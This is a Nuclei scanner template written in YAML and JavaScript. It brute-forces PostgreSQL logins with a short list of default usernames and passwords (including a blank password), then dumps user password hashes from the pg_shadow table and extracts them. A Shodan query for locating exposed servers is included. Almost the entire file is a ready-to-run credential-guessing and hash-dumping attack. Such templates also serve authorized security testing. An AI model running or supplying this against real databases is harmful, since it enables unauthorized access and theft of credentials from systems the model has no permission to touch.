id: pgsql-list-password-hashes

info:
  name: PostgreSQL List Password Hashes
  author: pussycat0x
  severity: high
  description: |
    Dump password hashes in use within a PostgreSQL database.
  reference:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-list-password-hashes
    - https://launchbylunch.com/posts/2024/Jan/16/postgres-password-encryption/#postgresql-password-encryption-scram-sha-256
    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/postgres/postgres_hashdump.md
  metadata:
    verified: true
    max-request: 8
    shodan-query: "product:\"PostgreSQL\""
  tags: js,network,postgresql,authenticated,enum
javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const postgres = require('nuclei/postgres');
      const client = new postgres.PGClient;
      connected =  client.ExecuteQuery(Host, Port, User, Pass, Db, "SELECT usename, passwd FROM pg_shadow");
      Export(connected)

    args:
      Host: "{{Host}}"
      Port: 5432
      User: "{{usernames}}"
      Pass: "{{password}}"
      Db: "{{database}}"

    payloads:
      usernames:
        - postgres
        - admin
      password:
        - postgres
        -
        - 123
        - amber
      database:
        - postgres

    attack: clusterbomb

    extractors:
      - type: json
        json:
          - '.Rows[] | "\(.usename) : \(.passwd)"'
# digest: 4a0a00473045022008cf5268ec2c7200ad367990d542a8a7abdc2a162dc3936462c21f5a0de078ae0221009f33652f56e6ea424f0594ed5cfcc174520941a74afb4138cd62069a271e5fc9:922c64590222798bb761d5b6d8e72950